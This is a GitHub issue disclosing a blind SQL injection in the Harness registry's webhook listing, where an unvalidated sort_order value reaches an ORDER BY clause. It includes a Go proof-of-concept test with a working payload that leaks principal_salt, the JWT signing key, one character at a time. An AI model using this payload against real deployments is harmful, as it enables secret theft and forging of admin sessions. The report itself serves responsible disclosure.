Skip to content

[Security] blind SQL injection via sort_order in registry webhook listing #3724

Description

@fereidani

It seems you are ignoring security reports, But anyway I think this is important.

Summary

A blind SQL injection in the registry webhook listing lets any user with registry view permission extract arbitrary database contents one boolean per request, including principals.principal_salt, which is the HMAC key material for session JWTs.

Details

The controller passes the raw sort_order query parameter to the DAO with no normalization. registry/app/api/controller/metadata/list_webhooks.go:80-91:

sortByOrder := ""
if r.Params.SortOrder != nil {
    sortByOrder = string(*r.Params.SortOrder)   // raw query-string bytes
}
...
webhooks, err := c.WebhooksRepository.ListByRegistry(
    ctx, sortByField, sortByOrder, limit, offset, searchTerm, regInfo.RegistryID)

Sink in registry/app/store/database/webhook.go:224-229:

validSortFields := map[string]string{"name": "registry_webhook_name"}
validSortByField := validSortFields[sortByField]
if validSortByField != "" {
    query = query.OrderBy(fmt.Sprintf("%s %s", validSortByField, sortByOrder)) // order NOT validated
}

The sort field is allowlisted but the order is not. SortOrder is generated by oapi-codegen as a plain type SortOrder string with no runtime enum validation, so any bytes survive. Every sibling controller normalizes with GetSortByOrder() (metadata/utils.go:220, coerces to ASC/DESC); this is the one call path that skips it. upstream_proxy.go:338 interpolates the same pair, so the caller-side fix alone leaves a second risky path.

PostgreSQL evaluates expressions inside ORDER BY, so a CASE expression flipping the row order (or erroring) on a condition leaks one bit per request; classic blind extraction of principal_salt, which app/auth/authn/jwt.go uses to sign session tokens. Recovering a salt allows forging a valid JWT for any principal, including admins.

PoC

In-package test capturing the exact SQL statement the DAO sends for the attacker's request GET /registry/{ref}/webhooks?sort_field=name&sort_order=<payload>:

git clone https://github.com/harness/harness && cd harness
cat > registry/app/store/database/poc_sqli_test.go <<'EOF'
package database

import (
	"context"
	"database/sql"
	"database/sql/driver"
	"errors"
	"strings"
	"testing"

	"github.com/jmoiron/sqlx"
)

type recordDriver struct{ lastQuery string }

func (d *recordDriver) Open(string) (driver.Conn, error) { return &recordConn{d: d}, nil }

type recordConn struct{ d *recordDriver }

func (c *recordConn) Prepare(q string) (driver.Stmt, error) {
	c.d.lastQuery = q
	return nil, errors.New("captured")
}
func (c *recordConn) Close() error              { return nil }
func (c *recordConn) Begin() (driver.Tx, error) { return nil, errors.New("no tx") }

func TestPocSQLi(t *testing.T) {
	rec := &recordDriver{}
	sql.Register("recorder-poc", rec)
	sdb, err := sql.Open("recorder-poc", "unused")
	if err != nil {
		t.Fatal(err)
	}
	repo := NewWebhookDao(sqlx.NewDb(sdb, "postgres"))

	payload := "ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a')" +
		" THEN registry_webhook_name ELSE registry_webhook_id END)"

	_, _ = repo.ListByRegistry(context.Background(), "name", payload, 10, 0, "", 1)

	sent := rec.lastQuery
	for _, needle := range []string{"SELECT CASE WHEN", "principal_salt", "registry_webhook_id END"} {
		if !strings.Contains(sent, needle) {
			t.Fatalf("payload fragment %q missing from SQL sent to the database:\n%s", needle, sent)
		}
	}
	t.Logf("SQL SENT TO DATABASE:\n%s", sent)
}
EOF
go test ./registry/app/store/database/ -run TestPocSQLi -v

Output (verified), payload verbatim inside ORDER BY:

... FROM registry_webhooks WHERE registry_webhook_registry_id = $1 ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a') THEN registry_webhook_name ELSE registry_webhook_id END) LIMIT 10 OFFSET 0

The $1 binding shows everything else is parameterized; only the ORDER BY fragment is raw.

Impact

CWE-89 blind SQL injection, authenticated (PermissionRegistryView on any registry). Confirmed extraction primitive of any database value; realistic target is principal_salt (JWT HMAC keys) leading to session forgery for any user including admins. Squirrel/lib/pq parameterization blocks stacked queries, so this is read-side exfiltration, not writes.

CVSS: 9.3 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
CWE IDs: CWE-89, CWE-200

Internal Tracking ID: KF-202648560

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions